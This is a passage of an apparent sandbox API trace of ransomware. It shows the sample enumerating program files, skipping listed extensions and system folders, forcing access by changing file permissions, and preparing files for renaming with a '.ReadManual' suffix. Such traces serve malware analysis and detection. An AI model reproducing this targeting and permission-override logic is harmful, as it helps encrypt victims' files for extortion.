lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.394] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa200) returned 0x2f0000 [0250.395] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.395] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37106371780) returned 1 [0250.395] CloseHandle (hObject=0x190) returned 1 [0250.395] SetSecurityInfo () returned 0x5 [0250.395] SetSecurityInfo () returned 0x5 [0250.395] LocalFree (hMem=0x674d38) returned 0x0 [0250.395] CloseHandle (hObject=0x18c) returned 1 [0250.395] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0250.395] lstrcpyW (in: lpString1=0x6ab8da, lpString2="offset.ax" | out: lpString1="offset.ax") returned="offset.ax" [0250.395] lstrcmpiW (lpString1="offset.ax", lpString2="RecoveryManual.html") returned -1 [0250.395] StrStrIW (lpFirst="offset.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.395] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.395] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.395] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.396] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.396] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax" [0250.396] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax.ReadManual.5A595725" [0250.396] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax.ReadManual.5A595725") returned 60 [0250.396] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37106465730) returned 1 [0250.396] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0250.396] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.396] GetLastError () returned 0x5 [0250.396] GetNamedSecurityInfoW () returned 0x0 [0250.396] SetNamedSecurityInfoW () returned 0x0 [0250.397] SetNamedSecurityInfoW () returned 0x0 [0250.397] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.397] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=43008) returned 1 [0250.397] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa800, lpName=0x0) returned 0x190 [0250.398] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x88) returned 1 [0250.398] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.398] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.400] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.400] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa800) returned 0x2f0000 [0250.401] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.401] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37106966592) returned 1 [0250.401] CloseHandle (hObject=0x190) returned 1 [0250.401] SetSecurityInfo () returned 0x5 [0250.401] SetSecurityInfo () returned 0x5 [0250.401] LocalFree (hMem=0x674d38) returned 0x0 [0250.401] CloseHandle (hObject=0x18c) returned 1 [0250.401] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0250.401] lstrcpyW (in: lpString1=0x6ab8da, lpString2="OmdBase.dll" | out: lpString1="OmdBase.dll") returned="OmdBase.dll" [0250.401] lstrcmpiW (lpString1="OmdBase.dll", lpString2="RecoveryManual.html") returned -1 [0250.402] StrStrIW (lpFirst="OmdBase.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.402] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.402] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.402] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0250.402] lstrcpyW (in: lpString1=0x6ab8da, lpString2="OmdProject.dll" | out: lpString1="OmdProject.dll") returned="OmdProject.dll" [0250.402] lstrcmpiW (lpString1="OmdProject.dll", lpString2="RecoveryManual.html") returned -1 [0250.402] StrStrIW (lpFirst="OmdProject.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.402] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.402] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.402] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0250.402] lstrcpyW (in: lpString1=0x6ab8da, lpString2="Pipeline.dll" | out: lpString1="Pipeline.dll") returned="Pipeline.dll" [0250.402] lstrcmpiW (lpString1="Pipeline.dll", lpString2="RecoveryManual.html") returned -1 [0250.402] StrStrIW (lpFirst="Pipeline.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.402] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.402] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.402] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0250.402] lstrcpyW (in: lpString1=0x6ab8da, lpString2="PipeTran.dll" | out: lpString1="PipeTran.dll") returned="PipeTran.dll" [0250.402] lstrcmpiW (lpString1="PipeTran.dll", lpString2="RecoveryManual.html") returned -1 [0250.402] StrStrIW (lpFirst="PipeTran.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.402] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.402] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.402] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0250.402] lstrcpyW (in: lpString1=0x6ab8da, lpString2="rtstreamsink.ax" | out: lpString1="rtstreamsink.ax") returned="rtstreamsink.ax" [0250.402] lstrcmpiW (lpString1="rtstreamsink.ax", lpString2="RecoveryManual.html") returned 1 [0250.402] StrStrIW (lpFirst="rtstreamsink.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.402] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.402] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.403] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.403] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.403] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.403] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.403] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax" [0250.403] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax.ReadManual.5A595725" [0250.403] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax.ReadManual.5A595725") returned 66 [0250.403] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37107149293) returned 1 [0250.403] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax")) returned 0x20 [0250.404] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.404] GetLastError () returned 0x5 [0250.404] GetNamedSecurityInfoW () returned 0x0 [0250.404] SetNamedSecurityInfoW () returned 0x0 [0250.404] SetNamedSecurityInfoW () returned 0x0 [0250.405] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.405] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=78848) returned 1 [0250.405] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13400, lpName=0x0) returned 0x190 [0250.405] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x94) returned 1 [0250.405] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.405] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.407] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.407] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13400) returned 0x1de0000 [0250.409] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0250.410] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37107838890) returned 1 [0250.410] CloseHandle (hObject=0x190) returned 1 [0250.410] SetSecurityInfo () returned 0x5 [0250.410] SetSecurityInfo () returned 0x5 [0250.410] LocalFree (hMem=0x674d38) returned 0x0 [0250.410] CloseHandle (hObject=0x18c) returned 1 [0250.411] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0250.411] lstrcpyW (in: lpString1=0x6ab8da, lpString2="rtstreamsource.ax" | out: lpString1="rtstreamsource.ax") returned="rtstreamsource.ax" [0250.411] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2="RecoveryManual.html") returned 1 [0250.411] StrStrIW (lpFirst="rtstreamsource.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.411] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.411] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.411] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.412] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.412] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax" [0250.412] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax.ReadManual.5A595725" [0250.412] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax.ReadManual.5A595725") returned 68 [0250.412] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37108068126) returned 1 [0250.412] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax")) returned 0x20 [0250.413] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.413] GetLastError () returned 0x5 [0250.413] GetNamedSecurityInfoW () returned 0x0 [0250.413] SetNamedSecurityInfoW () returned 0x0 [0250.413] SetNamedSecurityInfoW () returned 0x0 [0250.414] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.414] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=52736) returned 1 [0250.414] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xce00, lpName=0x0) returned 0x190 [0250.414] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x98) returned 1 [0250.415] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.415] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.417] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.417] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xce00) returned 0x2f0000 [0250.418] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.418] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37108726415) returned 1 [0250.419] CloseHandle (hObject=0x190) returned 1 [0250.419] SetSecurityInfo () returned 0x5 [0250.419] SetSecurityInfo () returned 0x5 [0250.419] LocalFree (hMem=0x674d38) returned 0x0 [0250.419] CloseHandle (hObject=0x18c) returned 1 [0250.419] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0250.419] lstrcpyW (in: lpString1=0x6ab8da, lpString2="SecretST.TTF" | out: lpString1="SecretST.TTF") returned="SecretST.TTF" [0250.419] lstrcmpiW (lpString1="SecretST.TTF", lpString2="RecoveryManual.html") returned 1 [0250.419] StrStrIW (lpFirst="SecretST.TTF", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.419] StrCmpIW (psz1="TTF", psz2="exe") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="dll") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="sys") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="msi") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="mui") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="inf") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="cat") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="bat") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="cmd") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="ps1") returned 1 [0250.419] StrCmpIW (psz1="TTF", psz2="vbs") returned -1 [0250.419] StrCmpIW (psz1="TTF", psz2="ttf") returned 0 [0250.419] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0250.419] lstrcpyW (in: lpString1=0x69b8da, lpString2="Shared" | out: lpString1="Shared") returned="Shared" [0250.419] lstrcatW (in: lpString1="Shared", lpString2="\\" | out: lpString1="Shared\\") returned="Shared\\" [0250.419] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\Windows\\") returned 0x0 [0250.419] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.419] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.419] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.419] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\WINNT") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.420] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.420] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\") returned 38 [0250.420] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, 